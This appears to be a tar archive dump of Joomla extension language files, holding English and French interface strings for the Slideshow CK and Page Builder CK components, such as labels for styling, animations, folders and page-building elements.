CK_FULLWIDTH_STANDARD_INFO="This will let the content take all the place available in your template. If you want something that is as large as your screen, you must just take care that your template is also fullwidth."
CK_FULLWIDTH_JAVASCRIPT_ALERT="WARNING : not recommended ! This method is proposed to you to help you in specific cases. This is for beginners and personal websites. Don't use it on a professional website. It may have some laggy effect."
CK_FULLWIDTH_STANDARD="Standard"
CK_FULLWIDTH_JAVASCRIPT="Javascript"
CK_ROW_WRAPPER="Row wrapper"
CK_ROWWIDTH_EDIT="Row width edition"
CK_FIXEDWIDTH_INFO="This will limit the width of the row content to the value below. It will be responsive but not larger than the value."
CK_RESOLUTION="Resolution"
CK_FIXEDWIDTH_RESOLUTION="Fixed value"
CK_FIXEDWIDTH_TEMPLATECREATOR="Automatic  small>with Template Creator CK /small>"

;added 2.3.7
CK_EXIT="Exit"

;added 2.4.3
CK_LINK_TARGET="Link target"
CK_LINK_TARGET_SAME="Same window"
CK_LINK_TARGET_NEW="New window"
CK_FOLDER_CREATED_ERROR="Error : folder not created"
CK_FOLDER_CREATED_SUCCESS="Folder created with success"
CK_CREATE_FOLDER="Create folder"
CK_ADD_SUB_FOLDER="Add a subfolder"
CK_MUTED="Muted"
CK_NUMBER_COLS="Number of columns"
CK_DISPLAY_TYPE_LIST="List display"
CK_DISPLAY_TYPE_GRID="Grid display"
CK_GROUP_LAYOUT="Layout"
CK_GROUP_TEXT="Text"
CK_GROUP_IMAGE="Image"
CK_GROUP_MULTIMEDIA="Multimedia"
CK_GROUP_OTHER="Other"
CK_SELECT_FOLDER="Select this folder"
CK_DESCRIPTION="Description"
CK_SAVE_CLOSE="Save and close"
CK_CLEAR_FIELDS="Reset"

CK_NORMAL="Normal"
CK_HOVER="Hover"
CK_FONTCOLOR_DESC="Color Use the colorpicker or write your own value"
CK_FONTHOVERCOLOR_DESC="Color on mouseover Use the colorpicker or write your own value"
CK_BGCOLOR_LABEL="Background color"
CK_BGCOLOR_DESC="Background color Use the colorpicker or write your own value"
CK_BGCOLOR2_DESC="Gradient color Use the colorpicker or write your own value Note that if you use a gradient you can not use a background image."
CK_BGOPACITY_DESC="Background opacity value from 0 to 1"
CK_BACKGROUNDIMAGE_LABEL="Background image"
CK_BACKGROUNDIMAGE_DESC="Select the image to use as background.  Note that if you use a background image you can not use a gradient"
CK_SELECT="Select"
CK_CLEAR="Clear"
CK_BACKGROUNDPOSITIONX_DESC="Background image position in the X axis (horizontal)"
CK_BACKGROUNDPOSITIONY_DESC="Background image position in the Y axis (vertical)"
CK_BORDERCOLOR_LABEL="Border"
CK_BORDERCOLOR_DESC="Border color Use the colorpicker or write your own value"
CK_BORDERTOPWIDTH_DESC="Border top width  (set the value in px, em, or %, the default unit is px)"
CK_BORDERRIGHTWIDTH_DESC="Border right width  (set the value in px, em, or %, the default unit is px)"
CK_BORDERBOTTOMWIDTH_DESC="Border bottom width  (set the value in px, em, or %, the default unit is px)"
CK_BORDERLEFTWIDTH_DESC="Border left width  (set the value in px, em, or %, the default unit is px)"
CK_ROUNDEDCORNERS_LABEL="Border radius"
CK_ROUNDEDCORNERSTL_DESC="Border radius Top Left width  (set the value in px, em, or %, the default unit is px)"
CK_ROUNDEDCORNERSTR_DESC="Border radius Top Right width  (set the value in px, em, or %, the default unit is px)"
CK_ROUNDEDCORNERSBR_DESC="Border radius Bottom Right width  (set the value in px, em, or %, the default unit is px)"
CK_ROUNDEDCORNERSBL_DESC="Border radius Bottom Left width  (set the value in px, em, or %, the default unit is px)"
CK_SHADOW_LABEL="Shadow"
CK_SHADOWBLUR_DESC="Blur distance"
CK_SHADOWSPREAD_DESC="Spread distance (optional)"
CK_OFFSETX_DESC="Shadow offset in the X axis (horizontal)"
CK_OFFSETY_DESC="Shadow offset in the Y axis (vertical)"
CK_MARGIN_LABEL="Margin"
CK_MARGINTOP_DESC="Margin top  (set the value in px, em, or %, the default unit is px)"
CK_MARGINRIGHT_DESC="Margin right  (set the value in px, em, or %, the default unit is px)"
CK_MARGINBOTTOM_DESC="Margin bottom  (set the value in px, em, or %, the default unit is px)"
CK_MARGINLEFT_DESC="Margin left  (set the value in px, em, or %, the default unit is px)"
CK_PADDING_LABEL="Padding (inside margin)"
CK_PADDINGTOP_DESC="Padding top  (set the value in px, em, or %, the default unit is px)"
CK_PADDINGRIGHT_DESC="Padding right  (set the value in px, em, or %, the default unit is px)"
CK_PADDINGBOTTOM_DESC="Padding bottom  (set the value in px, em, or %, the default unit is px)"
CK_PADDINGLEFT_DESC="Padding left (set the value in px, em, or %, the default unit is px)"
CK_TEXTSHADOW_LABEL="Text shadow"

CK_OUT="Out"
CK_IN="In"

CK_LOWERCASE="Lowercase"
CK_UPPERCASE="Uppercase"
CK_CAPITALIZE="Capitalize"

CK_BOLD="Bold"

CK_LINEHEIGHT_DESC="Line height"
CK_TEXT_LABEL="Text"
CK_APPEARANCE_LABEL="Appearance"
CK_DIMENSIONS_LABEL="Dimensions"

CK_SLIDE="Slide"
CK_CAPTION="Caption"
CK_BUTTON="Button"
CK_BUTTON_HOVER="Button hover"
CK_FONTSTYLE_LABEL="Font style"
CK_FONTSIZE_DESC="Font size  (set the value in px, em, or %, the default unit is px)"
CK_GFONT_DESC="Enter the name of a google font to use, for example : Open+Sans+Condensed:300"
CK_FONTCOLOR_LABEL="Font color"
CK_CUSTOM_CSS="Custom CSS"

CK_CHOOSE_FILE_MMCK="Select a .mmck file to import"
CK_INSTALL="Install"
CK_PREVIEW="Preview"

CK_DOWNLOAD="Download"
CK_WIDTH_LABEL="Width"
CK_WIDTH_DESC="Set the width in px or %"
CK_HEIGHT_LABEL="Height"
CK_HEIGHT_DESC="Set the height in px or %"
CK_DURATION="Duration"
CK_FADE="Fade"
CK_MOVE="Move"
CK_DIRECTION="Direction"
CK_LEFT_TO_RIGHT="Left to right"
CK_RIGHT_TO_LEFT="Right to left"
CK_TOP_TO_BOTTOM="Top to bottom"
CK_BOTTOM_TO_TOP="Bottom to top"
CK_DISTANCE="Distance"
CK_ROTATE="Rotate"
CK_SCALE="Scale"
CK_PLAY_ANIMATION="Play the animation"
CK_ANIMATIONS_LABEL="Animations"
CK_DELAY="Delay"

CK_PAGINATION_LABEL="Pagination and arrows"
CK_ARROW_COLOR_LABEL="Arrows"
CK_ARROW_HOVER_COLOR_LABEL="Arrows hover"
CK_COLOR_DESC="Color Use the colorpicker or write your own value"
CK_OPACITY_DESC="Opacity value from 0 to 1"
CK_PAGINATION_COLOR_LABEL="Pagination"
CK_PAGINATION_ACTIVE_COLOR_LABEL="Pagination active"
CK_NAME="Name"
CK_CONTAINER="Container"
CK_SLIDESHOW="Slideshow"
CK_PAGINATION_WITH_DOTS="Pagination with dots"
CK_DOTS="Dots"
CK_PAGINATION_WITH_THUMBS="Pagination with thumbs"
CK_THUMBS="Thumbs"
CK_PAGINATION="Pagination"
CK_NAVIGATION="Navigation"
CK_LAYOUT="Layout"
CK_BORDER_WIDTH_DESC="Border width"
CK_CENTER="Center"
CK_PRESETS="Presets"
CK_TRASH="Trash"

;added 2.0.13
CK_DROP_FILES_TO_UPLOAD="Drop files here to upload"
CK_OR_SELECT_FILES="or Select Files"

;added 2.3.0
CK_NO_IMAGE_FOUND="No image found"com_slideshowck/language/en-GB/index.html000060400000000055152453734450014401 0ustar00<html><body bgcolor="#FFFFFF"></body></html>
com_slideshowck/language/en-GB/en-GB.com_slideshowck.sys.ini000060400000000651152453734450017770 0ustar00; license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; Note : All ini files need to be saved as UTF-8


COM_SLIDESHOWCK="Slideshow CK"
COM_SLIDESHOWCK_DESC="Slideshow CK shows your images and content into a slider. Touch - mobile - responsive - rtl"
SLIDESHOWCK_DESC="Slideshow CK shows your images and content into a slider. Touch - mobile - responsive - rtl"
COM_SLIDESHOWCK_CONFIGURATION="Slideshow CK Configuration"com_slideshowck/language/fr-FR/fr-FR.com_slideshowck.ini000060400000075461152453734450017236 0ustar00; license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; Note : All ini files need to be saved as UTF-8

COM_SLIDESHOWCK="Slideshow CK"
CK_EDIT="Editer"
CK_PUBLISHED="Publié"
CK_NUM="NUM"
CK_APPLY="Appliquer"
CK_FONT_NONE="Aucune"
CK_THUMB="Miniature"
CK_INSTALL="Installer"

; textes du menu

CK_MISE_FORME = "Mise en forme"
CK_TEXT = "Texte"
CK_BACKGROUND = "Arrière plan"
CK_ADVANCED = "Avancé"
CK_MARGINS = "Marges externes (margin)"
CK_PADDINGS = "Marges internes (padding)"
CK_BORDERS = "Bordures"
CK_TOP = "Haut"
CK_BOTTOM = "Bas"
CK_LEFT = "Gauche"
CK_RIGHT = "Droite"
CK_TOPLEFT = "haut gauche"
CK_TOPRIGHT = "haut droite"
CK_BOTTOMLEFT = "bas gauche"
CK_BOTTOMRIGHT = "bas droite"
CK_ROUNDED_CORNERS = "Coins arrondis (border-radius)"
CK_DIMENSIONS = "Dimensions"
CK_HEIGHT = "Hauteur"
CK_WIDTH = "Largeur"
CK_POLICE = "Police"
CK_ALIGN = "Alignement"
CK_SPACING = "Espacement"
CK_WORD = "mot"
CK_LETTER = "lettre"
CK_LINEHEIGHT = "interligne"
CK_NORMALLINK = "Lien normal"
CK_HOVERLINK = "Lien survolé"
CK_BACKGROUNDIMAGE = "Image de fond"
CK_SELECT = "Selectionner"
CK_NONE = "Aucun"
CK_HORIZONTAL = "Horizontal"
CK_VERTICAL = "Vertical"
CK_HORIZONTAL_VERTICAL = "Horizontal et vertical"
CK_REPEAT = "Répétition"
CK_BACKGROUNDCOLOR = "Couleur de fond"
CK_BACKGROUNDPOSITION = "Position de l'image"
CK_BACKGROUNDGRADIENT = "Dégradé"
CK_GRADIENTPOSITION = "position"
CK_GRADIENTCOLOR = "couleur"
CK_STARTCOLOR = "Couleur de début"
CK_STOP1COLOR = "Couleur 2"
CK_STOP2COLOR = "Couleur 3"
CK_ENDCOLOR = "Couleur 4"
CK_TOPTOBOTTOM = "Haut vers bas"
CK_BOTTOMTOTOP = "Bas vers haut"
CK_LEFTTORIGHT = "Gauche vers droite"
CK_RIGHTTOLEFT = "Droite vers gauche"
CK_DIRECTION = "Direction"
CK_SHADOW = "Ombre"
CK_BLUR = "Largeur"
CK_SPREAD = "Dispersion"
CK_OFFSET = "Décalage"
CK_CUSTOMCSS = "CSS personnalisés"
CK_BLOCK_STYLES = "Bloc"
CK_MODULES_STYLES = "Modules"
CK_MODULES_TITLES_STYLES = "Titres de modules"
CK_MENUS_STYLES = "Menu"
CK_TITLES = "Titres"
CK_FIRST_LEVEL = "NIVEAU 1"
CK_FIRST_SUBLEVEL = "SOUS MENU"
CK_SECOND_SUBLEVEL = "SOUS MENU 2"
CK_FIRST_LEVEL_CONTAINER = "conteneur"
CK_FIRST_LEVEL_MENULINK = "lien normal"
CK_FIRST_LEVEL_MENULINK_HOVER = "lien survolé"
CK_FIRST_LEVEL_MENULINK_ACTIVE = "lien actif"
CK_FIRST_SUBLEVEL_CONTAINER = "conteneur"
CK_FIRST_SUBLEVEL_MENULINK = "lien normal"
CK_FIRST_SUBLEVEL_MENULINK_HOVER = "lien survolé"
CK_FIRST_SBULEVEL_MENULINK_ACTIVE = "lien actif"
CK_SECOND_SUBLEVEL_CONTAINER = "conteneur"
CK_H1 = "H1"
CK_H2 = "H2"
CK_H3 = "H3"
CK_H4 = "H4"
CK_H5 = "H5"
CK_H6 = "H6"
CK_COPYTOCLIPBOARD = "Styles courants copiés dans le presse papier !"
CK_COPYFROMCLIPBOARD = "Appliquer les styles du presse papier ? This will replace all current styles."
CK_CLIPBOARDEMPTY = "Le presse papier est vide"
CK_TEXTINDENT ="retrait"
CK_SUBMENU_FONTS ="Polices"
CK_NEW ="Nouveau"
CK_ALL ="Tous"
CK_BORDERRADIUS ="Coins arrondis"
CK_OPACITY ="% Opacité"
CK_COLOR = "Couleur"
CK_SIZE = "Taille"
CK_UNIT = "Unité"
CK_STYLE = "Style"
CK_COPY ="Copier"
CK_PASTE ="Coller"
CK_CANCEL = "Annuler"
CK_VALIDATE = "Valider"
CK_COPYALLCSS = "COPIER CSS"
CK_DEFAULT = "Défaut"
CK_NORMAL = "Normal"
CK_BOLD = "Gras"
CK_ITALIC = "italique"
CK_UPPERCASE = "majuscule"
CK_LOWERCASE = "minuscule"
CK_UNDERLINE = "souligné"
CK_BACKGROUNDCOLORS = "Couleur(s) de fond"
CK_MAINCOLOR="Couleur 1"
CK_BACKGROUND_SIZE="Ajustement"

; interface
COM_PAGEBUILDERCK_SELECT_CONTENT="Selectionner un type de contenu"
COM_PAGEBUILDERCK_CONTENT_TEXT="Texte"
COM_PAGEBUILDERCK_CONTENT_TEXT_DESC="Edition de texte avec éditeur"
COM_PAGEBUILDERCK_CONTENT_IMAGE="Image"
COM_PAGEBUILDERCK_CONTENT_IMAGE_DESC="Image simple"
COM_PAGEBUILDERCK_CONTENT_GALLERY="Galerie d'images"
COM_PAGEBUILDERCK_CONTENT_GALLERY_DESC="Une galerie simple et légère"
COM_PAGEBUILDERCK_CONTENT_SEPARATOR="Separateur"
COM_PAGEBUILDERCK_CONTENT_SEPARATOR_DESC="Séparateur horizontal avec texte"
COM_PAGEBUILDERCK_CONTENT_MESSAGE="Boite à message"
COM_PAGEBUILDERCK_CONTENT_MESSAGE_DESC="Un message avec style prédéfini"
COM_PAGEBUILDERCK_CONTENT_TABS="Onglets horizontaux"
COM_PAGEBUILDERCK_CONTENT_TABS_DESC="Onglets avec contenu personnalisé"
COM_PAGEBUILDERCK_CONTENT_ACCORDION="Accordéon"
COM_PAGEBUILDERCK_CONTENT_ACCORDION_DESC="Accordéon avec contenu personnalisé"
COM_PAGEBUILDERCK_ASK_FOR_MORE_CONTENTS="Besoin de plus de contenus ? Contactez moi pour me soumettre votre idée sur <a target="_blank" href="http://forum.joomlack.fr/index.php/page-builder-ck/9244-page-builder-ck-feedbacks-and-suggestions#26927">forum.joomlack.fr</a>"
COM_PAGEBUILDERCK_TITLE="Titre"
COM_PAGEBUILDERCK_CONTENT="Zone de contenu"
COM_PAGEBUILDERCK_PARAMS="Paramètres"
CK_DECORATION="Bordures"
CK_CSS_EDIT="Zone d'édition"
CK_OUTSIDE="Extérieur"
CK_INSIDE="Intérieur"
CK_CLEAN="Effacer"
CK_PREVIEWAREA_TITLE="Prévisualisation directe"
CK_UPDATE_NOTIFICATION="Mise à jour"
CK_IS_OUTDATED="Vous n'avez pas la dernière version. La dernière version est"
CK_IS_UPTODATE="Vous avez la dernière version."
COM_PAGEBUILDERCK_FIELD_SELECT_PAGE_LABEL="Page"
COM_PAGEBUILDERCK_FIELD_SELECT_PAGE_DESC="Selectionner une page à afficher"
COM_PAGEBUILDERCK_PAGES_NAME="Pages"
CK_BLOC_INFOS="Bloc"
CK_BLOC_DESC="Vous pouvez définir les styles du bloc. Un bloc est un conteneur dans lequel vous pouvez glisser n'importe quel élément de contenu (texte, image, onglets , ...)."
CK_TEXT_EDITION="Edition du texte"
CK_TEXT_INFOS="Texte"
CK_TEXT_INFOS_DESC="Ecrivez le texte en utilisant l'éditeur. Vous pouvez ainsi remplir votre page avec votre propre contenu."
CK_IMAGE_EDITION="Image simple"
CK_IMAGE_INFOS="Sélection de l'image"
CK_IMAGE_INFOS_DESC="Selectionnez l'image à afficher. Vous pouvez choisir n'importe quelle image qui se trouve dans le dossier 'images' de votre site."
CK_ACCORDION_EDITION="Edition de l'accordéon"
CK_ACCORDION_INFOS="Contenu de l'accordéon"
CK_ACCORDION_INFOS_DESC="Vous pouvez gérer l'accordéon ici. Définissez le texte pour les entêtes, et utilisez l'éditeur pour remplir les contenus. Vous pouvez aussi glisser / déposer les éléments pour les réorganiser."
CK_TABS_EDITION="Edition des onglets"
CK_TABS_INFOS="Contenu des onglets"
CK_TABS_INFOS_DESC="Vous pouvez gérer vos onglets ici. Définissez le texte pour les entêtes, et utilisez l'éditeur pour remplir les contenus. Vous pouvez aussi glisser / déposer les éléments pour les réorganiser."
CK_SEPARATOR_EDITION="Edition du séparateur"
CK_SEPARATOR_INFOS="Séparateur de texte"
CK_SEPARATOR_INFOS_DESC="Ecrivez le texte que vous voulez mettre dans le séparateur."
CK_MESSAGE_EDITION="Edition du message"
CK_MESSAGE_INFOS="Message"
CK_MESSAGE_INFOS_DESC="Ecrivez votre message et appliquez lui les styles que vous voulez."
CK_TABS_HEADING_STYLE="Style de l'entête"
CK_TABS_ACTIVE_HEADING_STYLE="Style actif de l'entête"
CK_TABS_CONTENT_STYLE="Style du contenu"
CK_CONFIRM_DELETE="Etes-vous sur de vouloir supprimer ?"
CK_ACCORDION_HEADING_STYLE="Style de l'entête"
CK_ACCORDION_ACTIVE_HEADING_STYLE="Style actif de l'entête"
CK_ACCORDION_CONTENT_STYLE="Style du contenu"
CK_SEPARATOR_CONTENT="Contenu du séparateur"
CK_SEPARATOR_STYLE="Style du séparateur"
CK_ICON="Icône"
CK_ICON_SIZE="Taille de l'icône"
CK_ICON_POSITION="Position de l'icône"
CK_FILTER_BY_GROUP="Filtrer par groupe"
CK_ICON_SIZE_X1-3="+33%"
CK_ICON_SIZE_X2="x 2"
CK_ICON_SIZE_X3="x 3"
CK_ICON_SIZE_X4="x 4"
CK_ICON_SIZE_X5="x 5"
CK_MIDDLE="Milieu"
CK_ICON_MARGIN="Espace entre l'icône et le texte"
CK_SELECT_FONT="Selectionner une police"
CK_FONTWEIGHT="Poids de la police"
CK_EMPTY_URL="Veuillez écrire l'url d'une police dans le champ"
CK_GOOGLEFONT_URL="Url ou nom de la police Google"
CK_SUBMIT="Valider"
CK_SEARCH="Rechercher"
CK_FONT_APPLIED="Font applied"
CK_FONT_NOT_FOUND="Font not found, please check the url or name"
CK_FONTNAME_NOT_FOUND="Unable to retrieve the font name"
CK_FONTURL_NOT_FOUND="Font url not found, please check the url or name"
CK_GOOGLE_FONT="Google Font"
CK_STYLES="Styles"
CK_REMOVE="Remove"
CK_TITLE="Title"
CK_TITLE_STYLES="Title styles"
CK_TEXT_STYLES="Text styles"
CK_VARIATIONS="Variations"
CK_IMAGE="Image"
CK_ICON_EDITION="Edition de l'icône"
CK_ICON_INFOS="Icône"
CK_ICON_INFOS_DESC="Sélectionnez une icône dans la liste et appliquez lui les styles que vous voulez tels que la couleur, le fond, les coins arrondis ..."
CK_ICON_STYLES="Style des icônes"
CK_ICON_STYLE="Style des icônes"
CK_FONTSIZE="Taille de police"
COM_PAGEBUILDERCK_CONTENT_ICON="Icon"
COM_PAGEBUILDERCK_CONTENT_ICON_DESC="Selectionner une icône dans la liste"
COM_PAGEBUILDERCK_CONFIGURATION="Configuration de Page Builder CK"
COM_PAGEBUILDERCK_ERROR_PAGE_NOT_FOUND="Page non trouvée"
CK_SAVE_CLOSE="Enregistrer et Fermer"
CK_ID="ID"
CK_TYPE="Type"
CK_POSITION="Position"
COM_PAGEBUILDERCK_CONTENT_MODULE="Module"
COM_PAGEBUILDERCK_CONTENT_MODULE_DESC="N'importe quel module de votre site"
CK_MODULE_NOT_SELECTED="Aucun module sélectionné"
CK_EDITION_NOT_FOUND="La zone d'édition n'a pas été trouvée pour l'élément"
CK_MODULE_SELECTION="Module selection"
CK_MODULE_INFOS="Module"
CK_MODULE_INFOS_DESC="Choisissez un module dans la liste parmi tous les modules disponibles sur votre site. Ensuite vous pouvez utiliser les options de styles pour lui donner l'apparence souhaitée."
CK_MODULE_STYLE="Style du module"
CK_MODULE="Module"
CK_INSERT_NEW="Insérer une nouvelle page"
CK_INSERT_NEW_DESC="Cliquez sur le bouton pour ajouter un nouveau tag {pagebuilderck XX} dans l'article à la position du curseur"
CK_NEW_TAG="Nouveau tag"
CK_EXISTING_TAGS_FOUND="Tags existants trouvés"
CK_EXISTING_TAGS_FOUND_DESC="Liste des tags existants trouvés dasn l'éditeur. Vous pouvez cliquer sur le bouton d'édition pour ouvrir la fenêtre d'édition de Pagebuilder CK pour la page sélectionnée."
PLG_PAGEBUILDERCKBUTTON="Pagebuilder CK"
PLG_PAGEBUILDERCKBUTTON_DESC="Utilisez ce bouton pour gérer les tags de Pagebuilder CK dans votre éditeur : - Insérer un nouveau tag depuis une page existante - Voir la liste des tags déjà présents et éditer la page en direct"
CK_FULLSCREEN="Plein écran"
CK_CSS_CLASS="CSS Class"
CK_TITLE_EDITION="Edition du titre"
CK_TITLE_CONTENT="Contenu du titre"
CK_TITLE_STYLES="Style du titre"
CK_TEXT_STYLES="Style du texte"
CK_ICONTEXT_INFOS="Icône et texte"
CK_ICONTEXT_INFOS_DESC="Sélectionnez une icône dans la liste et appliquez lui les styles que vous voulez tels que la couleur, le fond, les coins arrondis. Ecrivez le texte dans l'éditeur et appliquez lui également les styles que vous voulez."
COM_PAGEBUILDERCK_CONTENT_ICONTEXT="Icône et Texte"
COM_PAGEBUILDERCK_CONTENT_ICONTEXT_DESC="Icône et texte dans un seul bloc"
CK_COVER="Couvrant"
CK_ALT_TAG="Attribut Alt"
CK_LINK="Lien"
CK_LINK_URL="Url du lien"
CK_REL_TAG="Attribut Rel"
CK_LIGHTBOX="Lightbox"
CK_USE_LIGHTBOX="Activer la lightbox"
CK_LIGHTBOX_ALBUM="Grouper les images dans un album"
CK_MEDIABOXCK_NOT_INSTALLED="Le plugin Mediabox CK n'est pas installé, vous ne pouvez pas utiliser les options suivantes"
CK_DOWNLOAD="Télécharger"
CK_ANIMATIONS="Animations"
CK_ANIMATIONS_INFOS="Animations"
CK_ANIMATIONS_DESC="Sélectionnez l'animation que vous voulez appliquer au bloc. Vous pouver combiner plusieurs animations et définir la durée que vous voulez."
CK_DURATION="Durée"
CK_FADE="Fondu"
CK_MOVE="Mouvement"
CK_DIRECTION="Direction"
CK_LEFT_TO_RIGHT="Gauche à droite"
CK_RIGHT_TO_LEFT="Droite à gauche"
CK_TOP_TO_BOTTOM="Haut vers bas"
CK_BOTTOM_TO_TOP="Bas vers haut"
CK_DISTANCE="Distance"
CK_ROTATE="Rotation"
CK_SCALE="Redimensionner"
CK_REPLAY_ANIMATION="Rejouer l'animation"

;added 1.0.2
CK_PREVIEW_ANIMATION="Prévisualiser l'animation"
CK_PLAY_ANIMATION="Jouer l'animation"
CK_TITLE_EMPTY="Le titre est vide"

;added 1.1.0
COM_PAGEBUILDERCK_INSERT_CONTENT="Glissez / déposez un élément dans la page"
COM_PAGEBUILDERCK_COLLAPSE_MENU="Réduire le menu"

;added 1.1.1
COM_PAGEBUILDERCK_CONTENT_VIDEO="Vidéo"
COM_PAGEBUILDERCK_CONTENT_VIDEO_DESC="Utilisez n'importe quel service de vidéo"
CK_VIDEO_EDITION="Edition de la vidéo"
CK_VIDEO_INFOS="Vidéo"
CK_VIDEO_INFOS_DESC="Vous pouvez utiliser n'importe quel service d'hébergement de vidéo comme Youtube. Vous devez fournir l'url qui pointe vers le player embarqué du service. Exemple : https://www.youtube.com/embed/codehere"
CK_VIDEO="Vidéo"
CK_INSERT_EXISTING_PAGE="Insérer une page existante"
CK_INSERT_EXISTING_PAGE_DESC="Cliquer ici pour insérer une page existante à la position du curseur"
CK_INSERT_PAGE_AND_CLOSE="Enregistrer, Insérer le tag et Fermer"
CK_CREATE_NEW_PAGE="Créer une nouvelle page"
CK_CREATE_NEW_PAGE_DESC="Cliquer ici pour créer une nouvelle page vierge"
COM_PAGEBUILDERCK_N_ITEMS_DELETED="%d Elément(s) supprimé(s) avec succès"
CK_COPY_ERROR="Erreur lors de la copie"
CK_COPY_SUCCESS="Elément copié avec succès !"
CK_RESTORE="Restaurer une version précédente"
CK_DO_RESTORATION="Restaurer cette version"
COM_PAGEBUILDERCK_CONTENT_HTML="Code personnalisé"
COM_PAGEBUILDERCK_CONTENT_HTML_DESC="Ecrivez n'importe quel code HTML/PHP/JS"
CK_NO_RESTORE_FILE_FOUND="Aucune sauvegarde trouvée"

;added 1.1.2
CK_ZOOM="Zoom"
CK_CONTENT="Contenu"
CK_SHOWON="Montrer au"
CK_MOUSEOVER="Survol"
CK_CLICK="Clic"
CK_ADDRESS="Adresse"
CK_LATITUDE="Latitude"
CK_LONGITUDE="Longitude"
CK_DELETE="Supprimer"
CK_IMPORT="Importer"
CK_EXPORT="Exporter"
COM_PAGEBUILDERCK_VOTE_JED="Si vous utilisez Page Builder CK merci de laisser un commentaire sur la JED."
COM_PAGEBUILDERCK_VOTE_JED_BUTTON="C'est parti ! Je vote sur la JED pour supporter Page Builder CK"

;added 1.1.3
COM_PAGEBUILDERCK_PAGES="Pages"
CK_VIDEO_BACKGROUND_STYLES="Vidéo d'arrière plan"
CK_VIDEO_BACKGROUND="Vidéo d'arrière plan"
CK_VIDEO_BACKGROUND_INFOS="Vidéo d'arrière plan"
CK_VIDEO_BACKGROUND_DESC="Définissez une vidéo qui sera utilisée en arrière plan du bloc."
CK_VIDEO_URL_INFOS="Renseignez le chemin relatif à votre fichier vidéo.Il est recommandé de renseigner les trois types de fichiers pour garantir une compatibilité avec la majeure partie des systèmes. Exemple de chemin : images/video/bigbunny.mp4"
CK_VIDEO_URL_MP4="Chemin vers le fichier MP4"
CK_VIDEO_URL_WEBM="Chemin vers le fichier WEBM"
CK_VIDEO_URL_OGV="Chemin vers le fichier OGV"
CK_PREVIEW="Previsualiser"
CK_ABOUT="A propos"
CK_PAGEBUILDERCK_VERSION="Page Builder CK Version"
CK_PAGEBUILDERCK_DESC="Page Builder CK vous permet de créer votre contenu rapidement et facilement."

;added 1.1.4
CK_CHOOSE_FILE_PBCK="Choisir un fichier .pbck"
CK_PAGEBUILDERCK_PARAMS_NOT_FOUND="Page Builder CK Params non trouvé !"
CK_NOT_PBCK_FILE="Veuillez sélectionner un fichier .pbck"
CK_FILE_NOT_EXISTS="Le fichier n'existe pas, impossible de le trouver"
CK_UNABLE_READ_FILE="Impossible de lire le fichier"
CK_IMPORT_SUCCESS="Fichier importé avec succès"
COM_PAGEBUILDERCK_N_ITEMS_TRASHED="%d Elément(s) supprimé(s) avec succès"
CK_SET_DEFAULT_CLOSED="Fermé par défaut"
CK_PAGEBUILDERCK_PARAMS_INFO="Page Builder CK Params n'est pas installé. Téléchargez le pour obtenir plus d'éléments et plus de fonctionnalités."
CK_ADD_NEW_ITEM="Ajouter un élément"
CK_PLEASE_SELECT_ITEM="Veuillez sélectionner un élément"
CK_START="Départ"
CK_END="Fin"
CK_APPEARANCE="Apparence"
CK_NUMBER="Number"

;added 1.1.5
CK_NO_FILE_RECEIVED="Impossible de récupérer le fichier, veuillez vérifier les paramètres de votre serveur et la taille du fichier"
CK_FILE_NOT_EXISTS="Impossible de trouver le fichier uploadé. Merci de réessayer"
CK_UNABLE_TO_CREATE_FOLDER="Impossible de créer le dossier"
CK_UNABLE_WRITE_FILE="Impossible d'écrire le fichier sur le serveur"
CK_ONCLICK="Au clic"
CK_STYLES_HOVER="Styles au survol"

;added 1.1.8
CK_PAGEBUILDERCK_PARAMS_CLASS_NOT_FOUND="Page Builder CK Params, Class non trouvée"
CK_PAGEBUILDERCK_PARAMS_NEEDED_VERSION="Attention vous devez mettre à jour votre version de Page Builder CK Params. La version minimum requise est"

;added 1.1.11
COM_PAGEBUILDERCK_CONTENT_AUDIO="Lecteur audio"
COM_PAGEBUILDERCK_CONTENT_AUDIO_DESC="Jouer vos fichiers audio"
CK_AUDIO_EDITION="Edition du lecteur audio"
CK_AUDIO_INFOS="Lecteur audio"
CK_AUDIO_INFOS_DESC="Ajoutez un lecteur audio à votre site. Choisissez le fichier à lire et personnalisez le bloc avec les options de style."
CK_AUDIO="Audio"
CK_AUDIO_FILE="Fichier audio"
CK_OPTIONS="Options"
CK_AUTOPLAY="Lecture auto"
CK_SELECT_INFOS="Cliquez sur le fichier pour le sélectionner"
CK_PREVIEW_INFOS="Survolez les fichiers dans l'arboresence pour voir l'aperçu ici"

;added 1.1.12
CK_EDITION="Edition"
COM_PAGEBUILDERCK_SHOW_TITLE="Afficher le titre"

;added 1.1.13
COM_PAGEBUILDERCK_CONTENT_PREPARE="Activer plugins de contenu"
COM_PAGEBUILDERCK_TITLE_TAG="Balise du titre"
CK_LOAD_PAGE="Charger une page"
CK_HOW_TO_LOAD_PAGE="Comment charger la page ?"
CK_REPLACE="Remplacer"
CK_TOP_PAGE="Ajouter en haut"
CK_END_PAGE="Ajouter en bas"
CK_TARGET="Cible"
CK_REMOVE_BLOCK="Supprimer le bloc"
CK_MOVE_BLOCK="Déplacer le bloc"
CK_EDIT_STYLES="Editer les styles"
CK_DECREASE_WIDTH="Diminuer la largeur du bloc"
CK_INCREASE_WIDTH="Augmenter la largeur du bloc"
CK_ADD_BLOCK="Ajouter un bloc"
CK_REMOVE_ROW="Supprimer la ligne"
CK_EDIT_COLUMNS="Editer les colonnes"
CK_MOVE_ROW="Déplacer la ligne"
CK_ADD_NEW_ROW="Ajouter une nouvelle ligne"
CK_REMOVE_ITEM="Supprimer l'élément"
CK_MOVE_ITEM="Déplacer l'élément"
CK_DUPLICATE_ITEM="Dupliquer l'élément"
CK_EDIT_ITEM="Editer l'élément"
CK_ADD_COLUMN="Ajouter une colonne"
CK_AUTOPLAY="Lecture auto"
CK_PAUSE_HOVER="Pause au survol"
CK_DURATION="Durée"

;added 1.2.0
CK_LOAD_PAGEBUILDERCK_EDITOR="Basculer sur Page Builder CK"
CK_CONFIRM_PAGEBUILDERCK_EDITOR="Etes-vous sûr ? Ceci remplacera l'éditeur et vous devrez créer votre page avec Page Builder CK."

;added 1.2.1
CK_FAVORITES="Favoris"
CK_DESIGN_SUGGESTIONS="Suggestions de design"
CK_MYFAVORITES="Mes favoris"
CK_STICK="Epingler"
CK_CLOSE="Fermer"
CK_BLOCK="Bloc"
CK_ADD_TO_FAVORITES="Ajouter aux favoris"
